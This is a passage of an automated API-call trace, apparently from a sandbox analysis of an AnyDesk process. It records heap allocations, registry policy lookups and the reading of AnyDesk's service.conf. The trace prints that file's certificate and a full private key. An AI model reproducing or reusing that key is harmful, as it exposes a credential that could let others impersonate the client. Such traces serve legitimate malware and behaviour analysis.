Flags=0x0, Size=0x20) returned 0xe11960 [0194.215] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6128, cbMultiByte=-1, lpWideCharStr=0xe11960, cchWideChar=16 | out: lpWideCharStr="ad.features.wol") returned 16 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe119b0 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe118c0 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b6a0 [0194.215] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe119d8 [0194.216] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe118c0 | out: hHeap=0x3b0000) returned 1 [0194.216] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11960 | out: hHeap=0x3b0000) returned 1 [0194.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6138, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 12 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b6c0 [0194.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d6138, cbMultiByte=-1, lpWideCharStr=0xe4b6c0, cchWideChar=12 | out: lpWideCharStr="ad.wol.mode") returned 12 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b6e0 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b700 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b720 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe4b740 [0194.216] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b700 | out: hHeap=0x3b0000) returned 1 [0194.216] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b6c0 | out: hHeap=0x3b0000) returned 1 [0194.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9428, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0194.216] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33348 [0194.216] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19f9428, cbMultiByte=-1, lpWideCharStr=0xe33348, cchWideChar=18 | out: lpWideCharStr="ad.wol.group_sync") returned 18 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe33378 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab08 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe333a8 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b6c0 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24) returned 0xe333d8 [0194.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe333a8 | out: hHeap=0x3b0000) returned 1 [0194.217] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a064d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0194.217] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11960 [0194.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a064d8, cbMultiByte=-1, lpWideCharStr=0xe11960, cchWideChar=16 | out: lpWideCharStr="ad.wol.mac_hash") returned 16 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe118c0 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab38 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11a00 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b700 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11a28 [0194.218] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11a00 | out: hHeap=0x3b0000) returned 1 [0194.218] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11960 | out: hHeap=0x3b0000) returned 1 [0194.218] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1) returned 0xe4aa68 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab78 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab78, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe4ab88, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab98 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aba8 [0194.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4aba8, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.219] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe33348 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11960 [0194.219] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.219] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0194.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b760 [0194.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11a00 [0194.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11a50 [0194.220] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x2a7b5f0, lpData=0x0, lpcbData=0x2a7b5f4*=0x0 | out: lpType=0x2a7b5f0*=0x0, lpData=0x0, lpcbData=0x2a7b5f4*=0x0) returned 0x6 [0194.220] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b61c | out: phkResult=0x2a7b61c*=0x0) returned 0x2 [0194.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11a50 | out: hHeap=0x3b0000) returned 1 [0194.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab98 [0194.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0194.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x8) returned 0xe4aba8 [0194.220] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1a174e0, cbMultiByte=-1, lpWideCharStr=0xe4aba8, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0194.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x27) returned 0xe33348 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11a50 [0194.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33348 | out: hHeap=0x3b0000) returned 1 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4aba8 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b780 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11a78 [0194.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4aba8 | out: hHeap=0x3b0000) returned 1 [0194.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab98 | out: hHeap=0x3b0000) returned 1 [0194.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe14c40 [0194.221] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x2a7b5f0, lpData=0x0, lpcbData=0x2a7b5f4*=0x0 | out: lpType=0x2a7b5f0*=0x0, lpData=0x0, lpcbData=0x2a7b5f4*=0x0) returned 0x6 [0194.221] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x2a7b61c | out: phkResult=0x2a7b61c*=0x0) returned 0x2 [0194.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0194.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab78 | out: hHeap=0x3b0000) returned 1 [0194.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe54fe8 [0194.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0194.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa) returned 0xe55000 [0194.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9cb4, cbMultiByte=-1, lpWideCharStr=0xe55000, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0194.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55000 | out: hHeap=0x3b0000) returned 1 [0194.222] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe54fe8 | out: hHeap=0x3b0000) returned 1 [0194.222] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xf) returned 0xe54fe8 [0194.222] GetLastError () returned 0x0 [0194.223] GetSystemTime (in: lpSystemTime=0x2a7b6b4 | out: lpSystemTime=0x2a7b6b4*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2b5)) [0194.223] GetCurrentThreadId () returned 0xa0c [0194.223] GetCurrentProcessId () returned 0x994 [0194.223] GetLastError () returned 0x0 [0194.224] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17a60) returned 0x5cd4a0 [0194.225] GetLastError () returned 0x0 [0194.225] GetSystemTime (in: lpSystemTime=0x2a7b5dc | out: lpSystemTime=0x2a7b5dc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2b5)) [0194.225] GetCurrentThreadId () returned 0xa0c [0194.225] GetCurrentProcessId () returned 0x994 [0194.225] GetLastError () returned 0x0 [0194.226] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x13e6150, lpParameter=0xe17b18) returned 0x5cd7a0 [0194.232] GetLastError () returned 0x0 [0194.232] GetSystemTime (in: lpSystemTime=0x2a7b5dc | out: lpSystemTime=0x2a7b5dc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2c4)) [0194.232] GetCurrentThreadId () returned 0xa0c [0194.232] GetCurrentProcessId () returned 0x994 [0194.232] GetLastError () returned 0x0 [0194.233] GetSystemTime (in: lpSystemTime=0x2a7b714 | out: lpSystemTime=0x2a7b714*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0x16, wMilliseconds=0x2c4)) [0194.233] GetCurrentThreadId () returned 0xa0c [0194.233] GetCurrentProcessId () returned 0x994 [0194.233] GetLastError () returned 0x0 [0194.233] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0194.233] LockFileEx (in: hFile=0x244, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x2a7b5fc | out: lpOverlapped=0x2a7b5fc) returned 1 [0194.234] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2a7b618 | out: lpFileSize=0x2a7b618*=2762) returned 1 [0194.234] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xaca) returned 0xe52148 [0194.234] ReadFile (in: hFile=0x244, lpBuffer=0xe52148, nNumberOfBytesToRead=0xaca, lpNumberOfBytesRead=0x2a7b62c, lpOverlapped=0x0 | out: lpBuffer=0xe52148*, lpNumberOfBytesRead=0x2a7b62c*=0xaca, lpOverlapped=0x0) returned 1 [0194.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe52148, cbMultiByte=2762, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2762 [0194.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1596) returned 0xe55f70 [0194.235] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xe52148, cbMultiByte=2762, lpWideCharStr=0xe55f70, cchWideChar=2763 | out: lpWideCharStr="ad.anynet.cert=-----BEGIN CERTIFICATE-----\\nMIICqDCCAZACAQEwDQYJKoZIhvcNAQELBQAwGTEXMBUGA1UEAwwOQW55RGVzayBD\\nbGllbnQwIBcNMjIwODA1MTc0ODIyWhgPMjA3MjA3MjMxNzQ4MjJaMBkxFzAVBgNV\\nBAMMDkFueURlc2sgQ2xpZW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC\\nAQEAoPovzJS9dgfgGwtrhPht7XdT85M4TiPyi7SesHHcrdlEAXfQ46fz1flCiD1/\\nzuNfst+7mrggrAE7Qk+Zcd/VcC7OQ9bmFnxZsfwDEeDLdMiPrz1ZwOYgQ0Zi+DoJ\\ntGCpJIpd5JuHYNj1IHF3tYt54cHLdAJMtWejVvX9G57TErKwtQ561t8sxqEKPFte\\nFLuhBA9Pk/ZgSwiQPBKY02J3zPip4Uc63gXKF1Zav8VN2UarQdgTHpXIRp07Qtbz\\nrXn4NECZV/5dWxHe95zvY8AIX+15BRm07i8EhuUkGXAPUUAVp+TBs80AuFBBkLrT\\nLAqSrR35Rc3PJPmPIoZtggf9qQIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBeiD9m\\nZL7/APvs0tXI6j4KL1DRAYjWeGA9VinXZYobEfNyyk6FYuy62LJCwEu6DgKLz/6K\\n+rfjE6RfnA1RXRe8tfFFNSMnhF6GUHk9Mm1geo2BKOrEbnSdb+QH8kE2qvHv+E50\\nvPHA48acO2GrxYVRtK4YFpXOmwMnQHj+5abnol5xFgUzzS2nD2LCSdmuf+zk543l\\nwkm1arZpq74Ti/kr88MNKceE8ZLJIUHnwfwbDXlPuqfJy18i35d130JNDUv6XR9T\\nwcCKGjyKHHTKUntZ55MwjlBW/iMD2Y3vG6r16dDvnpEWr/dFTTFMOdELXeSWgpI1\\nQAytK30fPh4/PsHI\\n-----END CERTIFICATE-----\\n\nad.anynet.pkey=-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCg+i/MlL12B+Ab\\nC2uE+G3td1PzkzhOI/KLtJ6wcdyt2UQBd9Djp/PV+UKIPX/O41+y37uauCCsATtC\\nT5lx39VwLs5D1uYWfFmx/AMR4Mt0yI+vPVnA5iBDRmL4Ogm0YKkkil3km4dg2PUg\\ncXe1i3nhwct0Aky1Z6NW9f0bntMSsrC1DnrW3yzGoQo8W14Uu6EED0+T9mBLCJA8\\nEpjTYnfM+KnhRzreBcoXVlq/xU3ZRqtB2BMelchGnTtC1vOtefg0QJlX/l1bEd73\\nnO9jwAhf7XkFGbTuLwSG5SQZcA9RQBWn5MGzzQC4UEGQutMsCpKtHflFzc8k+Y8i\\nhm2CB/2pAgMBAAECggEAejZW8a9+w0wpVP7viwz8kAtG/iYn2hMqgewHihd3nbjU\\nC3VGbn/E/A739u0RyiUPM4LuMAFYNJ3eunIqIaz4oum2CQTuu+V+R0T3o6wRasEV\\nbMpcCLnthoW6f4+4bGvyHd66d+On/NvaBd5/LqIMT1vMtW9Fg3eCJ3Qry7thrdAt\\nYEQgcnMcjY613l0UmVqG2NhqeiVNamyzWDF8+s1Sl4xuFMluyetKD9WeWJb8FK/J\\n/884OmaFKA7Dd1J3bNCEAOspIXB3rIhThFzh8FV9fXHWZgUs/HX9gduCMyRcDhbx\\nN7TR7XkpLAYTbAMq1JoHLYLM5BwfPx1D5l62wHfnrQKBgQDLW9QX3P/i922vyX0m\\nMY9kbB193aK8x/1PA9yKAXty2U+GCjYq3P2k1xlvBlishgmchhG3Ond+wpbRBPr4\\nOeJALdfDsX+JsaXHTMGNmpFNRvgTkD6e4Y7c4mZf5PgXWbHkZmnnyBvCXG1bheE/\\nG3W8/xoooSNPeh0UaSRZCd3icwKBgQDKpdPQK4ADsS/t93h/Z1JfOVqLDNWUAXDN\\nRdTWlh+xGykOmCs/qY1yn71pRtVosYkUZTH7LGEDNrapWjRiJ1X1djbQBLdzA594\\n5zlCjFVDpYd63x8+pZu5mPmXtgG5umzZkAbIRWYO9dW9cOmWACSmThUhuNCJEQbu\\ntZp3OHKscwKBgQCNhRJMqRfKs7Y5p1bYxZSspjC/7wXZqrO10VIhGHb4rhKRjXm0\\nyqYZmTex9BCxv3Xg38xkXuPZ60FZpMWjCWVSlJSbM2M2R9K+p8Pq764+wSzTMIbj\\nusTZIxVrlsSwO1N5R2xcSP5IfFn+X2Uprcp6BG4H6FvSa4DhO2p4LE2l0QKBgC9S\\nWgwanGJAVjjzuSfHMO0br5EZBibxzy2gSPtzQyNQfF30GuVa6rUBqHGVIPC5xJEG\\nsI0+58igVjdl4SWqmeAgItygvVYWWn8ZP73Sl3aciO6ge+NdOOg2WNKcpfqBFjoX\\n7/2Edzi3H5qFa4ajsetEAJtHVSss1rmXnuKIQ/8RAoGBAJL3EVTt0alBGRdeeLbn\\nR7N9Dmqvz8UMuL8k51+2t0tNmrrzNDv1fCjQX912oN5PgFnIG30fg7tVZPhkCo5G\\nZO0gCkEO0IApmYQcdSCCtDJYHAessvau3k1q4tcI3BlL7LgDJ5mVWH2/PNalztK/\\npNvlzErOkV5fOASeklpwOlTi\\n-----END PRIVATE KEY-----\\n\n") returned 2762 [0194.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ec) returned 0xe52c20 [0194.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55078 [0194.235] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xda8) returned 0xe57510 [0194.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe55090 [0194.236] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ec) returned 0xe582c0 [0194.236] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582c0 | out: hHeap=0x3b0000) returned 1 [0194.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe14c40 [0194.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe582d8 [0194.237] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0194.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ce) returned 0xe58ac0 [0194.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ce) returned 0xe59298 [0194.237] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe59a70 [0194.238] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe59298 | out: hHeap=0x3b0000) returned 1 [0194.238] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58ac0 | out: hHeap=0x3b0000) returned 1 [0194.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8a0 [0194.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe14c40 [0194.238] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.238] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe5a228 [0194.239] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe59a70 | out: hHeap=0x3b0000) returned 1 [0194.239] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xda8) returned 0xe58ac0 [0194.239] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58ac0 | out: hHeap=0x3b0000) returned 1 [0194.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe582d8 [0194.239] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe58300 [0194.240] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe582d8 | out: hHeap=0x3b0000) returned 1 [0194.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd8a) returned 0xe58ac0 [0194.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd8a) returned 0xe5a9e0 [0194.240] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe5b778 [0194.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5a9e0 | out: hHeap=0x3b0000) returned 1 [0194.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58ac0 | out: hHeap=0x3b0000) returned 1 [0194.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0xe4b8c0 [0194.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0xe582d8 [0194.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.241] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe5a9e0 [0194.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe5b778 | out: hHeap=0x3b0000) returned 1 [0194.241] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe58300 | out: hHeap=0x3b0000) returned 1 [0194.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe52c20 | out: hHeap=0x3b0000) returned 1 [0194.242] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55078 | out: hHeap=0x3b0000) returned 1 [0194.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe57510 | out: hHeap=0x3b0000) returned 1 [0194.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55090 | out: hHeap=0x3b0000) returned 1 [0194.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe55f70 | out: hHeap=0x3b0000) returned 1 [0194.243] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe52148 | out: hHeap=0x3b0000) returned 1 [0194.243] UnlockFileEx (in: hFile=0x244, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2a7b5b8 | out: lpOverlapped=0x2a7b5b8) returned 1 [0194.243] CloseHandle (hObject=0x244) returned 1 [0194.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe2fb28 | out: hHeap=0x3b0000) returned 1 [0194.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.244] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xd52) returned 0xe52148 [0194.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4c460 | out: hHeap=0x3b0000) returned 1 [0194.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11528 | out: hHeap=0x3b0000) returned 1 [0194.244] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe336f8 | out: hHeap=0x3b0000) returned 1 [0194.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe52148 | out: hHeap=0x3b0000) returned 1 [0194.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe4ab88 [0194.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4ab88 | out: hHeap=0x3b0000) returned 1 [0194.245] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x7ac) returned 0xe4be48 [0194.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4d978 | out: hHeap=0x3b0000) returned 1 [0194.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11640 | out: hHeap=0x3b0000) returned 1 [0194.245] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33758 | out: hHeap=0x3b0000) returned 1 [0194.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4be48 | out: hHeap=0x3b0000) returned 1 [0194.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe0bb88 | out: hHeap=0x3b0000) returned 1 [0194.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe4b860 | out: hHeap=0x3b0000) returned 1 [0194.246] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33738 | out: 